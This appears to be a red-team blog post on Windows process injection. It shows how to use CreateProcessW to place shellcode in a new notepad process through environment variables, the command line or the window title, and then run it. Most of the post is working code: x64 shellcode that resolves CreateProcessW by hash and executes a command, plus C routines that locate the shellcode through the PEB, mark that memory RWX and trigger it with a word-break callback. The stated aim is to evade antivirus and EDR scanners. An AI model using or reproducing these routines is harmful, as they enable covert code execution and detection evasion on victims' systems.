Windows Process Injection: Command Line and Environment Variables
There are many ways to load shellcode into the address space of a process, but knowing precisely where it’s stored in memory is a bigger problem when we need to execute it. Ideally, a Red Teamer will want to locate their code with the least amount of effort, avoiding memory scrapers/scanners that might alert an antivirus or EDR solution. Adam discussed some ways to avoid using VirtualAllocEx and WriteProcessMemory in a blog post, Inserting data into other processes’ address space. Red Teamers are known to create a new process before injecting data, but I’ve yet to see any examples of using the command line or environment variables to assist with this.
This post examines how CreateProcessW might be used to both start a new process AND inject data simultaneously. Memory for where the data resides will initially have Read-Write (RW) permissions, but this can be changed to Read-Write-Execute (RWX) using VirtualProtectEx. Since notepad will be used to demonstrate these techniques, Wordwarping / EM_SETWORDBREAKPROC is used to execute the shellcode. The main structure of memory being modified for these examples is RTL_USER_PROCESS_PARAMETERS that contains the Environment block, the CommandLine and C RuntimeData information, all of which can be controlled by an actor prior to creation of a new process.
typedef struct _RTL_USER_PROCESS_PARAMETERS { ULONG MaximumLength; //0x0 ULONG Length; //0x4 ULONG Flags; //0x8 ULONG DebugFlags; //0xc PVOID ConsoleHandle; //0x10 ULONG ConsoleFlags; //0x18 PVOID StandardInput; //0x20 PVOID StandardOutput; //0x28 PVOID StandardError; //0x30 CURDIR CurrentDirectory; //0x38 UNICODE_STRING DllPath; //0x50 UNICODE_STRING ImagePathName; //0x60 UNICODE_STRING CommandLine; //0x70 PVOID Environment; //0x80 ULONG StartingX; //0x88 ULONG StartingY; //0x8c ULONG CountX; //0x90 ULONG CountY; //0x94 ULONG CountCharsX; //0x98 ULONG CountCharsY; //0x9c ULONG FillAttribute; //0xa0 ULONG WindowFlags; //0xa4 ULONG ShowWindowFlags; //0xa8 UNICODE_STRING WindowTitle; //0xb0 UNICODE_STRING DesktopInfo; //0xc0 UNICODE_STRING ShellInfo; //0xd0 UNICODE_STRING RuntimeData; //0xe0 RTL_DRIVE_LETTER_CURDIR CurrentDirectores[32]; //0xf0 ULONG EnvironmentSize; //0x3f0 } RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
User-supplied shellcodes that contain two consecutive null bytes (\x00\x00) would require an encoder and decoder, such as Base64. The following code resolves the address of CreateProcessW and executes a command supplied by the word break callback. The PoC will set the command using WM_SETTEXT.
bits 64 %include "include.inc" struc stk_mem .hs resb home_space_size .bInheritHandles resq 1 .dwCreationFlags resq 1 .lpEnvironment resq 1 .lpCurrentDirectory resq 1 .lpStartupInfo resq 1 .lpProcessInformation resq 1 .procinfo resb PROCESS_INFORMATION_size .startupinfo resb STARTUPINFO_size endstruc %define stk_size ((stk_mem_size + 15) & -16) - 8 %ifndef BIN global createproc %endif ; void createproc(WCHAR cmd[]); createproc: ; save non-volatile registers pushx rsi, rbx, rdi, rbp ; allocate stack memory for arguments + home space xor eax, eax mov al, stk_size sub rsp, rax ; save pointer to buffer push rcx push TEB.ProcessEnvironmentBlock pop r11 mov rax, [gs:r11] mov rax, [rax+PEB.Ldr] mov rdi, [rax+PEB_LDR_DATA.InLoadOrderModuleList + LIST_ENTRY.Flink] jmp scan_dll next_dll: mov rdi, [rdi+LDR_DATA_TABLE_ENTRY.InLoadOrderLinks + LIST_ENTRY.Flink] scan_dll: mov rbx, [rdi+LDR_DATA_TABLE_ENTRY.DllBase] mov esi, [rbx+IMAGE_DOS_HEADER.e_lfanew] add esi, r11d ; add 60h or TEB.ProcessEnvironmentBlock ; ecx = IMAGE_DATA_DIRECTORY[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress mov ecx, [rbx+rsi+IMAGE_NT_HEADERS.OptionalHeader + \ IMAGE_OPTIONAL_HEADER.DataDirectory + \ IMAGE_DIRECTORY_ENTRY_EXPORT * IMAGE_DATA_DIRECTORY_size + \ IMAGE_DATA_DIRECTORY.VirtualAddress - \ TEB.ProcessEnvironmentBlock] jecxz next_dll ; if no exports, try next DLL in list ; rsi = offset IMAGE_EXPORT_DIRECTORY.Name lea rsi, [rbx+rcx+IMAGE_EXPORT_DIRECTORY.NumberOfNames] lodsd ; eax = NumberOfNames xchg eax, ecx jecxz next_dll ; if no names, try next DLL in list ; r8 = IMAGE_EXPORT_DIRECTORY.AddressOfFunctions lodsd xchg eax, r8d ; add r8, rbx ; r8 = RVA2VA(r8, rbx) ; ebp = IMAGE_EXPORT_DIRECTORY.AddressOfNames lodsd xchg eax, ebp ; add rbp, rbx ; rbp = RVA2VA(rbp, rbx) ; r9 = IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals lodsd xchg eax, r9d add r9, rbx ; r9 = RVA2VA(r9, rbx) find_api: mov esi, [rbp+rcx*4-4] ; rax = AddressOfNames[rcx-1] add rsi, rbx xor eax, eax cdq hash_api: lodsb add edx, eax ror edx, 8 dec al jns hash_api cmp edx, 0x1b929a47 ; CreateProcessW loopne find_api ; loop until found or no names left jnz next_dll ; not found? goto next_dll movzx eax, word[r9+rcx*2] ; eax = AddressOfNameOrdinals[rcx] mov eax, [r8+rax*4] add rbx, rax ; rbx += AddressOfFunctions[rdx] ; CreateProcess(NULL, cmd, NULL, NULL, ; FALSE, 0, NULL, &si, &pi); pop rdx ; lpCommandLine = buffer for Edit xor r8, r8 ; lpProcessAttributes = NULL xor r9, r9 ; lpThreadAttributes = NULL xor eax, eax mov [rsp+stk_mem.bInheritHandles ], rax ; bInheritHandles = FALSE mov [rsp+stk_mem.dwCreationFlags ], rax ; dwCreationFlags = 0 mov [rsp+stk_mem.lpEnvironment ], rax ; lpEnvironment = NULL mov [rsp+stk_mem.lpCurrentDirectory ], rax ; lpCurrentDirectory = NULL lea rdi, [rsp+stk_mem.procinfo ] mov [rsp+stk_mem.lpProcessInformation], rdi ; lpProcessInformation = &pi lea rdi, [rsp+stk_mem.startupinfo ] mov [rsp+stk_mem.lpStartupInfo ], rdi ; lpStartupInfo = &si xor ecx, ecx push STARTUPINFO_size pop rax stosd ; si.cb = sizeof(STARTUPINFO) sub rax, 4 xchg eax, ecx rep stosb call rbx ; deallocate stack xor eax, eax mov al, stk_size add rsp, rax xor eax, eax ; restore non-volatile registers popx rsi, rbx, rdi, rbp ret
Part of Unix since 1979 and MS-DOS/Windows since 1982. According to MSDN, the maximum size of a user-defined variable is 32,767 characters. 32KB should be sufficient for most shellcode, but if not, you have the option of using multiple variables for anything else.
There’s a few ways to inject using variables, but I found the easiest approach to be setting one in the current process with SetEnvironmentVariable, and then allowing CreateProcessW to transfer or propagate all of them to the new process by setting the lpEnvironment parameter to NULL.
// generate random name srand(time(0)); for(i=0; i<MAX_NAME_LEN; i++) { name[i] = ((rand() % 2) ? L'a' : L'A') + (rand() % 26); } // set variable in this process space with our shellcode SetEnvironmentVariable(name, (PWCHAR)WINEXEC); // create a new process using // environment variables from this process ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_SHOWDEFAULT; CreateProcess(NULL, L"notepad", NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
Variable names are stored in memory alphabetically and will appear in the same order for the new process so long as lpEnvironment for CreateProcess is set to NULL. The PoC here will locate the address of the shellcode inside the current environment block, then subtract the base address to obtain the relative virtual address (RVA).
// return relative virtual address of environment block DWORD get_var_rva(PWCHAR name) { PVOID env; PWCHAR str, var; DWORD rva = 0; // find the offset of value for environment variable env = NtCurrentTeb()->ProcessEnvironmentBlock->ProcessParameters->Environment; str = (PWCHAR)env; while(*str != 0) { // our name? if(wcsncmp(str, name, MAX_NAME_LEN) == 0) { var = wcsstr(str, L"=") + 1; // calculate RVA of value rva = (PBYTE)var - (PBYTE)env; break; } // advance to next entry str += wcslen(str) + 1; } return rva; }
Once we have the RVA for local process, read the address of environment block in remote process and add the RVA.
// get the address of environment block PVOID var_get_env(HANDLE hp, PDWORD envlen) { NTSTATUS nts; PROCESS_BASIC_INFORMATION pbi; RTL_USER_PROCESS_PARAMETERS upp; PEB peb; ULONG len; SIZE_T rd; // get the address of PEB nts = NtQueryInformationProcess( hp, ProcessBasicInformation, &pbi, sizeof(pbi), &len); // get the address RTL_USER_PROCESS_PARAMETERS ReadProcessMemory( hp, pbi.PebBaseAddress, &peb, sizeof(PEB), &rd); // get the address of Environment block ReadProcessMemory( hp, peb.ProcessParameters, &upp, sizeof(RTL_USER_PROCESS_PARAMETERS), &rd); *envlen = upp.EnvironmentSize; return upp.Environment; }
The full routine will copy the user-supplied command to the Edit control and the shellcode will receive this when the word break callback is executed. You don’t need to use Notepad, but I just wanted to avoid the usual methods of executing code via RtlCreateUserThread or CreateRemoteThread. Figure 1 shows the shellcode stored as an environment variable. See var_inject.c for more detals.
void var_inject(PWCHAR cmd) { STARTUPINFO si; PROCESS_INFORMATION pi; WCHAR name[MAX_PATH]={0}; INT i; PVOID va; DWORD rva, old, len; PVOID env; HWND npw, ecw; // generate random name srand(time(0)); for(i=0; i<MAX_NAME_LEN; i++) { name[i] = ((rand() % 2) ? L'a' : L'A') + (rand() % 26); } // set variable in this process space with our shellcode SetEnvironmentVariable(name, (PWCHAR)WINEXEC); // create a new process using // environment variables from this process ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_SHOWDEFAULT; CreateProcess(NULL, L"notepad", NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi); // wait for process to initialize // if you don't wait, there can be a race condition // reading the correct Environment address from new process WaitForInputIdle(pi.hProcess, INFINITE); // the command to execute is just pasted into the notepad // edit control. npw = FindWindow(L"Notepad", NULL); ecw = FindWindowEx(npw, NULL, L"Edit", NULL); SendMessage(ecw, WM_SETTEXT, 0, (LPARAM)cmd); // get the address of environment block in new process // then calculate the address of shellcode env = var_get_env(pi.hProcess, &len); va = (PBYTE)env + get_var_rva(name); // set environment block to RWX VirtualProtectEx(pi.hProcess, env, len, PAGE_EXECUTE_READWRITE, &old); // execute shellcode SendMessage(ecw, EM_SETWORDBREAKPROC, 0, (LPARAM)va); SendMessage(ecw, WM_LBUTTONDBLCLK, MK_LBUTTON, (LPARAM)0x000a000a); SendMessage(ecw, EM_SETWORDBREAKPROC, 0, (LPARAM)NULL); cleanup: // cleanup and exit SetEnvironmentVariable(name, NULL); if(pi.hProcess != NULL) { CloseHandle(pi.hThread); CloseHandle(pi.hProcess); } }
This can be easier to work with than environment variables. For this example, only the shellcode itself is used and that can be located easily in the PEB.
#define NOTEPAD_PATH L"%SystemRoot%\\system32\\notepad.exe" ExpandEnvironmentStrings(NOTEPAD_PATH, path, MAX_PATH); // create a new process using shellcode as command line ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_SHOWDEFAULT; CreateProcess(path, (PWCHAR)WINEXEC, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
Reading is much the same as reading environment variables since they both reside inside RTL_USER_PROCESS_PARAMETERS.
// get the address of command line PVOID get_cmdline(HANDLE hp, PDWORD cmdlen) { NTSTATUS nts; PROCESS_BASIC_INFORMATION pbi; RTL_USER_PROCESS_PARAMETERS upp; PEB peb; ULONG len; SIZE_T rd; // get the address of PEB nts = NtQueryInformationProcess( hp, ProcessBasicInformation, &pbi, sizeof(pbi), &len); // get the address RTL_USER_PROCESS_PARAMETERS ReadProcessMemory( hp, pbi.PebBaseAddress, &peb, sizeof(PEB), &rd); // get the address of command line ReadProcessMemory( hp, peb.ProcessParameters, &upp, sizeof(RTL_USER_PROCESS_PARAMETERS), &rd); *cmdlen = upp.CommandLine.Length; return upp.CommandLine.Buffer; }
Figure 2 illustrates what Process Explorer might show for the new process. See cmd_inject.c for more detals.
#define NOTEPAD_PATH L"%SystemRoot%\\system32\\notepad.exe" void cmd_inject(PWCHAR cmd) { STARTUPINFO si; PROCESS_INFORMATION pi; WCHAR path[MAX_PATH]={0}; DWORD rva, old, len; PVOID cmdline; HWND npw, ecw; ExpandEnvironmentStrings(NOTEPAD_PATH, path, MAX_PATH); // create a new process using shellcode as command line ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_SHOWDEFAULT; CreateProcess(path, (PWCHAR)WINEXEC, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi); // wait for process to initialize // if you don't wait, there can be a race condition // reading the correct command line from new process WaitForInputIdle(pi.hProcess, INFINITE); // the command to execute is just pasted into the notepad // edit control. npw = FindWindow(L"Notepad", NULL); ecw = FindWindowEx(npw, NULL, L"Edit", NULL); SendMessage(ecw, WM_SETTEXT, 0, (LPARAM)cmd); // get the address of command line in new process // which contains our shellcode cmdline = get_cmdline(pi.hProcess, &len); // set the address to RWX VirtualProtectEx(pi.hProcess, cmdline, len, PAGE_EXECUTE_READWRITE, &old); // execute shellcode SendMessage(ecw, EM_SETWORDBREAKPROC, 0, (LPARAM)cmdline); SendMessage(ecw, WM_LBUTTONDBLCLK, MK_LBUTTON, (LPARAM)0x000a000a); SendMessage(ecw, EM_SETWORDBREAKPROC, 0, (LPARAM)NULL); CloseHandle(pi.hThread); CloseHandle(pi.hProcess); }
IMHO, this is the best of three because the lpTitle field of STARTUPINFO only applies to console processes. If a GUI like notepad is selected, process explorer doesn’t show any unusual characters for various properties. Set lpTitle to the shellcode and CreateProcessW will inject. As with the other two methods, obtaining the address can be read via the PEB.
// create a new process using shellcode as window title ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_SHOWDEFAULT; si.lpTitle = (PWCHAR)WINEXEC;
Two fields (cbReserved2 and lpReserved2) in the STARTUPINFO structure are, according to Microsoft, “Reserved for use by the C Run-time” and must be NULL or zero prior to calling CreateProcess. The maximum amount of data that can be transferred into a new process is 65,536 bytes, but my experiment with it resulted in the new process failing to execute. The fault was in ucrtbase.dll likely because lpReserved2 didn’t point to the data it expected.
While it didn’t work for me, that’s not to say it can’t work with some additional tweaking. Sources